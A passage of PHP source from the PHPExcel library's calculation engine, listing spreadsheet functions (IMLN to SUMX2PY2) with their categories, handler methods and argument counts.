=> array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMLN', 'argumentCount' => '1' ), 'IMLOG10' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMLOG10', 'argumentCount' => '1' ), 'IMLOG2' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMLOG2', 'argumentCount' => '1' ), 'IMPOWER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMPOWER', 'argumentCount' => '2' ), 'IMPRODUCT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMPRODUCT', 'argumentCount' => '1+' ), 'IMREAL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMREAL', 'argumentCount' => '1' ), 'IMSIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMSIN', 'argumentCount' => '1' ), 'IMSQRT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMSQRT', 'argumentCount' => '1' ), 'IMSUB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMSUB', 'argumentCount' => '2' ), 'IMSUM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::IMSUM', 'argumentCount' => '1+' ), 'INDEX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::INDEX', 'argumentCount' => '1-4' ), 'INDIRECT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::INDIRECT', 'argumentCount' => '1,2', 'passCellReference' => true ), 'INFO' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1' ), 'INT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::INT', 'argumentCount' => '1' ), 'INTERCEPT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::INTERCEPT', 'argumentCount' => '2' ), 'INTRATE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::INTRATE', 'argumentCount' => '4,5' ), 'IPMT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::IPMT', 'argumentCount' => '4-6' ), 'IRR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::IRR', 'argumentCount' => '1,2' ), 'ISBLANK' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_BLANK', 'argumentCount' => '1' ), 'ISERR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_ERR', 'argumentCount' => '1' ), 'ISERROR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_ERROR', 'argumentCount' => '1' ), 'ISEVEN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_EVEN', 'argumentCount' => '1' ), 'ISLOGICAL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_LOGICAL', 'argumentCount' => '1' ), 'ISNA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_NA', 'argumentCount' => '1' ), 'ISNONTEXT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_NONTEXT', 'argumentCount' => '1' ), 'ISNUMBER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_NUMBER', 'argumentCount' => '1' ), 'ISODD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_ODD', 'argumentCount' => '1' ), 'ISPMT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::ISPMT', 'argumentCount' => '4' ), 'ISREF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1' ), 'ISTEXT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::IS_TEXT', 'argumentCount' => '1' ), 'JIS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1' ), 'KURT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::KURT', 'argumentCount' => '1+' ), 'LARGE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::LARGE', 'argumentCount' => '2' ), 'LCM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::LCM', 'argumentCount' => '1+' ), 'LEFT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::LEFT', 'argumentCount' => '1,2' ), 'LEFTB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::LEFT', 'argumentCount' => '1,2' ), 'LEN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::STRINGLENGTH', 'argumentCount' => '1' ), 'LENB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::STRINGLENGTH', 'argumentCount' => '1' ), 'LINEST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::LINEST', 'argumentCount' => '1-4' ), 'LN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'log', 'argumentCount' => '1' ), 'LOG' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::LOG_BASE', 'argumentCount' => '1,2' ), 'LOG10' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'log10', 'argumentCount' => '1' ), 'LOGEST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::LOGEST', 'argumentCount' => '1-4' ), 'LOGINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::LOGINV', 'argumentCount' => '3' ), 'LOGNORMDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::LOGNORMDIST', 'argumentCount' => '3' ), 'LOOKUP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::LOOKUP', 'argumentCount' => '2,3' ), 'LOWER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::LOWERCASE', 'argumentCount' => '1' ), 'MATCH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::MATCH', 'argumentCount' => '2,3' ), 'MAX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MAX', 'argumentCount' => '1+' ), 'MAXA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MAXA', 'argumentCount' => '1+' ), 'MAXIF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MAXIF', 'argumentCount' => '2+' ), 'MDETERM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::MDETERM', 'argumentCount' => '1' ), 'MDURATION' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '5,6' ), 'MEDIAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MEDIAN', 'argumentCount' => '1+' ), 'MEDIANIF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '2+' ), 'MID' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::MID', 'argumentCount' => '3' ), 'MIDB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::MID', 'argumentCount' => '3' ), 'MIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MIN', 'argumentCount' => '1+' ), 'MINA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MINA', 'argumentCount' => '1+' ), 'MINIF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MINIF', 'argumentCount' => '2+' ), 'MINUTE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::MINUTEOFHOUR', 'argumentCount' => '1' ), 'MINVERSE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::MINVERSE', 'argumentCount' => '1' ), 'MIRR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::MIRR', 'argumentCount' => '3' ), 'MMULT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::MMULT', 'argumentCount' => '2' ), 'MOD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::MOD', 'argumentCount' => '2' ), 'MODE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::MODE', 'argumentCount' => '1+' ), 'MONTH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::MONTHOFYEAR', 'argumentCount' => '1' ), 'MROUND' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::MROUND', 'argumentCount' => '2' ), 'MULTINOMIAL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::MULTINOMIAL', 'argumentCount' => '1+' ), 'N' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::N', 'argumentCount' => '1' ), 'NA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_INFORMATION, 'functionCall' => 'PHPExcel_Calculation_Functions::NA', 'argumentCount' => '0' ), 'NEGBINOMDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::NEGBINOMDIST', 'argumentCount' => '3' ), 'NETWORKDAYS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::NETWORKDAYS', 'argumentCount' => '2+' ), 'NOMINAL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::NOMINAL', 'argumentCount' => '2' ), 'NORMDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::NORMDIST', 'argumentCount' => '4' ), 'NORMINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::NORMINV', 'argumentCount' => '3' ), 'NORMSDIST' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::NORMSDIST', 'argumentCount' => '1' ), 'NORMSINV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::NORMSINV', 'argumentCount' => '1' ), 'NOT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOGICAL, 'functionCall' => 'PHPExcel_Calculation_Logical::NOT', 'argumentCount' => '1' ), 'NOW' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::DATETIMENOW', 'argumentCount' => '0' ), 'NPER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::NPER', 'argumentCount' => '3-5' ), 'NPV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::NPV', 'argumentCount' => '2+' ), 'OCT2BIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::OCTTOBIN', 'argumentCount' => '1,2' ), 'OCT2DEC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::OCTTODEC', 'argumentCount' => '1' ), 'OCT2HEX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_ENGINEERING, 'functionCall' => 'PHPExcel_Calculation_Engineering::OCTTOHEX', 'argumentCount' => '1,2' ), 'ODD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::ODD', 'argumentCount' => '1' ), 'ODDFPRICE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '8,9' ), 'ODDFYIELD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '8,9' ), 'ODDLPRICE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '7,8' ), 'ODDLYIELD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '7,8' ), 'OFFSET' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::OFFSET', 'argumentCount' => '3-5', 'passCellReference' => true, 'passByReference' => array(true) ), 'OR' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOGICAL, 'functionCall' => 'PHPExcel_Calculation_Logical::LOGICAL_OR', 'argumentCount' => '1+' ), 'PEARSON' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::CORREL', 'argumentCount' => '2' ), 'PERCENTILE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::PERCENTILE', 'argumentCount' => '2' ), 'PERCENTRANK' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::PERCENTRANK', 'argumentCount' => '2,3' ), 'PERMUT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::PERMUT', 'argumentCount' => '2' ), 'PHONETIC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1' ), 'PI' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'pi', 'argumentCount' => '0' ), 'PMT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::PMT', 'argumentCount' => '3-5' ), 'POISSON' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::POISSON', 'argumentCount' => '3' ), 'POWER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::POWER', 'argumentCount' => '2' ), 'PPMT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::PPMT', 'argumentCount' => '4-6' ), 'PRICE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::PRICE', 'argumentCount' => '6,7' ), 'PRICEDISC' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::PRICEDISC', 'argumentCount' => '4,5' ), 'PRICEMAT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::PRICEMAT', 'argumentCount' => '5,6' ), 'PROB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '3,4' ), 'PRODUCT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::PRODUCT', 'argumentCount' => '1+' ), 'PROPER' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::PROPERCASE', 'argumentCount' => '1' ), 'PV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::PV', 'argumentCount' => '3-5' ), 'QUARTILE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::QUARTILE', 'argumentCount' => '2' ), 'QUOTIENT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::QUOTIENT', 'argumentCount' => '2' ), 'RADIANS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'deg2rad', 'argumentCount' => '1' ), 'RAND' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::RAND', 'argumentCount' => '0' ), 'RANDBETWEEN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::RAND', 'argumentCount' => '2' ), 'RANK' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::RANK', 'argumentCount' => '2,3' ), 'RATE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::RATE', 'argumentCount' => '3-6' ), 'RECEIVED' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::RECEIVED', 'argumentCount' => '4-5' ), 'REPLACE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::REPLACE', 'argumentCount' => '4' ), 'REPLACEB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::REPLACE', 'argumentCount' => '4' ), 'REPT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'str_repeat', 'argumentCount' => '2' ), 'RIGHT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::RIGHT', 'argumentCount' => '1,2' ), 'RIGHTB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::RIGHT', 'argumentCount' => '1,2' ), 'ROMAN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::ROMAN', 'argumentCount' => '1,2' ), 'ROUND' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'round', 'argumentCount' => '2' ), 'ROUNDDOWN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::ROUNDDOWN', 'argumentCount' => '2' ), 'ROUNDUP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::ROUNDUP', 'argumentCount' => '2' ), 'ROW' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::ROW', 'argumentCount' => '-1', 'passByReference' => array(true) ), 'ROWS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_LookupRef::ROWS', 'argumentCount' => '1' ), 'RSQ' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::RSQ', 'argumentCount' => '2' ), 'RTD' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => 'PHPExcel_Calculation_Functions::DUMMY', 'argumentCount' => '1+' ), 'SEARCH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::SEARCHINSENSITIVE', 'argumentCount' => '2,3' ), 'SEARCHB' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::SEARCHINSENSITIVE', 'argumentCount' => '2,3' ), 'SECOND' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_DATE_AND_TIME, 'functionCall' => 'PHPExcel_Calculation_DateTime::SECONDOFMINUTE', 'argumentCount' => '1' ), 'SERIESSUM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SERIESSUM', 'argumentCount' => '4' ), 'SIGN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SIGN', 'argumentCount' => '1' ), 'SIN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'sin', 'argumentCount' => '1' ), 'SINH' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'sinh', 'argumentCount' => '1' ), 'SKEW' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::SKEW', 'argumentCount' => '1+' ), 'SLN' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_FINANCIAL, 'functionCall' => 'PHPExcel_Calculation_Financial::SLN', 'argumentCount' => '3' ), 'SLOPE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::SLOPE', 'argumentCount' => '2' ), 'SMALL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::SMALL', 'argumentCount' => '2' ), 'SQRT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'sqrt', 'argumentCount' => '1' ), 'SQRTPI' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SQRTPI', 'argumentCount' => '1' ), 'STANDARDIZE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::STANDARDIZE', 'argumentCount' => '3' ), 'STDEV' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::STDEV', 'argumentCount' => '1+' ), 'STDEVA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::STDEVA', 'argumentCount' => '1+' ), 'STDEVP' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::STDEVP', 'argumentCount' => '1+' ), 'STDEVPA' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::STDEVPA', 'argumentCount' => '1+' ), 'STEYX' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_STATISTICAL, 'functionCall' => 'PHPExcel_Calculation_Statistical::STEYX', 'argumentCount' => '2' ), 'SUBSTITUTE' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_TEXT_AND_DATA, 'functionCall' => 'PHPExcel_Calculation_TextData::SUBSTITUTE', 'argumentCount' => '3,4' ), 'SUBTOTAL' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUBTOTAL', 'argumentCount' => '2+' ), 'SUM' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUM', 'argumentCount' => '1+' ), 'SUMIF' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUMIF', 'argumentCount' => '2,3' ), 'SUMIFS' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUMIFS', 'argumentCount' => '3+' ), 'SUMPRODUCT' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUMPRODUCT', 'argumentCount' => '1+' ), 'SUMSQ' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUMSQ', 'argumentCount' => '1+' ), 'SUMX2MY2' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 'PHPExcel_Calculation_MathTrig::SUMX2MY2', 'argumentCount' => '2' ), 'SUMX2PY2' => array( 'category' => PHPExcel_Calculation_Function::CATEGORY_MATH_AND_TRIG, 'functionCall' => 